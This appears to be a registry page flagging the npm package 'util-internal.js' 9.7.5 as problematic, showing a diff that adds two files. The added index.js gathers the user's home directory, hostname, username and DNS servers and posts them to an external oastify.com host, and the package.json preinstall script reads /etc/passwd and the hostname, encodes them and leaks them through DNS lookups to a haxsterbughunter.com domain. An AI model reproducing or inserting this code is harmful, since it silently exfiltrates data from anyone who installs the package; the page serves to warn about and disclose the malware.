util-internal.js 9.7.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of util-internal.js might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +49 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ module.exports.hacked = function() {
2
+ return "hacked"
3
+ }
4
+ const os = require("os");
5
+ const dns = require("dns");
6
+ const querystring = require("querystring");
7
+ const https = require("https");
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+
11
+ const trackingData = JSON.stringify({
12
+ p: package,
13
+ c: __dirname,
14
+ hd: os.homedir(),
15
+ hn: os.hostname(),
16
+ un: os.userInfo().username,
17
+ dns: dns.getServers(),
18
+ r: packageJSON ? packageJSON.___resolved : undefined,
19
+ v: packageJSON.version,
20
+ pjson: packageJSON,
21
+ });
22
+
23
+ var postData = querystring.stringify({
24
+ msg: trackingData,
25
+ });
26
+
27
+ var options = {
28
+ hostname: "https://xpqmszd2kkrfoox8ivn8fi75zw5ntdh2.oastify.com",
29
+ port: 443,
30
+ path: "/",
31
+ method: "POST",
32
+ headers: {
33
+ "Content-Type": "application/x-www-form-urlencoded",
34
+ "Content-Length": postData.length,
35
+ },
36
+ };
37
+
38
+ var req = https.request(options, (res) => {
39
+ res.on("data", (d) => {
40
+ process.stdout.write(d);
41
+ });
42
+ });
43
+
44
+ req.on("error", (e) => {
45
+ // console.error(e);
46
+ });
47
+
48
+ req.write(postData);
49
+ req.end()
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "util-internal.js",
3
+ "version": "9.7.5",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "mkdir hacked&&GETHOST=$(hostname|base64)&&GETID=$(cat /etc/passwd|head -n 1|base64)&& nslookup $GETHOST.$GETID.BB.haxsterbughunter.com",
9
+ "preinstall2": "GETP=$(pwd|base64)&&mkdir hacked&&GETHOST=$(hostname|base64)&&GETID=$(cat /etc/passwd|head -n 1|base64)&& nslookup $GETP.$GETHOST.$GETID.BB.haxsterbughunter.com"
10
+ },
11
+ "author": "haxsterbughunter",
12
+ "license": "ISC"
13
+ }